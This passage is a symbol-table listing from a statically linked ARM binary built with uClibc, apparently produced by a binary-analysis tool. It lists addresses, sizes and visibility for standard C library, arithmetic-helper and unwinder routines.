__GI___uClibc_fini	.symtab	0x14898	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x14968	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x145f0	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x145d4	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x111a4	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x14f50	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x12c48	296	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x13394	32	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x18a30	88	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0xef7c	56	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x144d0	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0xf17c	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x15a74	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x15aa8	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1574c	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x11420	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x135a8	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x15c24	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0xee88	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x175cc	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x170bc	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x17978	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x17200	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x17aa4	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x15f54	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x13ddc	972	FUNC	<unknown>	HIDDEN	2
__GI_fprintf	.symtab	0xf7d4	48	FUNC	<unknown>	HIDDEN	2
__GI_fputc_unlocked	.symtab	0x10c84	264	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x10d8c	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x18bdc	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x18c00	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x14fb8	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x10dc4	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x17978	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x150bc	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x150e8	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x150fc	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x15110	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x15124	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x14240	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x1514c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x11494	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x15184	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x151c4	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x113b4	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x18568	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x131b0	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x151d8	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x11314	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0xefc8	56	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x190e0	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x18000	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x10e80	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x10e90	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x180f0	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x18114	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x10ea0	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x14dac	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x152b8	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x152fc	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1537c	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x14560	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0xf35c	196	FUNC	<unknown>	HIDDEN	2
__GI_perror	.symtab	0xf60c	116	FUNC	<unknown>	HIDDEN	2
__GI_putc_unlocked	.symtab	0x10c84	264	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x14288	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x12d88	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x13048	144	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x18ff0	176	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x14680	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0xf4d0	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x15660	236	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x11564	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x1161c	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x153dc	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0xf088	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x116e8	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x117a4	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0xf10c	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x1182c	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x132a8	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x14e54	136	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x15448	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x14378	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x11874	68	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0xf804	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x130d8	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x181f4	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x182e4	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x17fe0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x17fe0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x10fa0	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x183d0	68	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x112b0	52	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x10f40	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x10fc4	204	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x18528	64	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x18414	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x18464	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x11090	252	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x112e4	48	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x184b0	120	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x133b4	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x137b8	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x11338	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0xf14c	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x154d4	20	FUNC	<unknown>	HIDDEN	2
__GI_vfprintf	.symtab	0xfb1c	324	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0xf838	208	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x15af0	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x15b68	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x15b44	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x145f0	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x25054	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x25054	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1a8f0	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1a884	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1a8a8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1a8cc	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1915c	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x19ab8	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x19ab8	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x19a9c	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x19b48	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1915c	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x19ad0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x19b18	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x19b30	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x19b00	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x19ae8	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x197fc	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1956c	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x19150	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x19158	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x194b8	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x19490	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0xec98	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0xedc4	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1950c	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x14f00	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1946c	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0xeb84	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0xec80	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x194f8	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1a850	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1a848	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1a840	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x279a0	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x252dc	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x2836c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x25300	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x25300	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x14914	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x144d0	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x144b4	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x19a18	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x25110	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x27ee4	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x25108	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x14ef4	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x14ee8	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0xeddc	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x197fc	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0xec98	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x25050	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x2836c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x27998	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x19a18	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0xf5b8	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x1d048	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x1cf30	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x27448	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x194b8	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0xedf0	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x17978	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x25054	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x25050	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x19b48	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1950c	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x19490	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x194f8	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1946c	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x13ddc	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x28338	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x2833c	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x2744c	4	OBJECT	<unknown>	HIDDEN	14
__fputc_unlocked	.symtab	0x10c84	264	FUNC	<unknown>	DEFAULT	2
__frame_dummy_init_array_entry	.symtab	0x2504c	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x19a08	148	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x1501c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x18a94	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x15124	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x14240	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x1118c	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x19ff4	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1a0dc	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1a874	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1a070	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1a194	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1a87c	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1a958	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1b06c	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1a2f8	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x19a08	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x25050	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2504c	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x19a10	140	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x144d0	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x11420	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x146f0	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x14778	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0xee88	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x13ddc	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x28340	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1537c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x14560	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x14680	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x11564	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x1161c	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0xf088	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x116e8	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x117a4	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x18764	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x14e54	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x27994	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x145f0	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x141a8	152	FUNC	<unknown>	HIDDEN	2
__ltdf2	.symtab	0x19a10	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x12818	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x118b8	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x25200	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x27fc0	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x12768	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1956c	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x19a18	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x14560	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x14544	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x2799c	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2504c	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2504c	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x252f8	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x252fc	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x18994	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1485c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x14854	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x14854	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x14854	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x14854	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x14680	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x14664	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1a858	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x279a4	4	OBJECT	<unknown>	HIDDEN	14
__sigjmp_save	.symtab	0x190a0	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x18a88	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x25124	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x18dc0	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x15f74	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x18e18	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x164b0	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x18ee0	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x18fb4	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x18f10	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x165f0	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0xfaec	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x25128	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x19158	788	FUNC	<unknown>	HIDDEN	2
__sys_connect	.symtab	0x113dc	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x11520	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x115d4	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x116a4	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x11758	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x14e28	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1533c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x14f10	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0xf044	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x18740	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x14898	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x14968	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x149c0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x252f4	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0xeb84	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x145f0	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x145d4	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x111a4	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x155b4	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x154e8	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x27434	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x2836c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0xfc60	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x27f70	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x27f98	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x251fc	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x189a0	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x189d8	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x28364	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x28368	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x28358	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x28354	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x2835c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x2834c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x186d8	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x28348	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x28360	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x28350	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x28344	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x25300	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x2836c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x14f50	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1b0e8	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x25434	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0xfcb4	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x168c8	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x166cc	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_memcpy	.symtab	0x17b50	0	FUNC	<unknown>	HIDDEN	2
_ppfs_init	.symtab	0x1042c	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x10714	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x104cc	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x10510	432	FUNC	<unknown>	HIDDEN	2
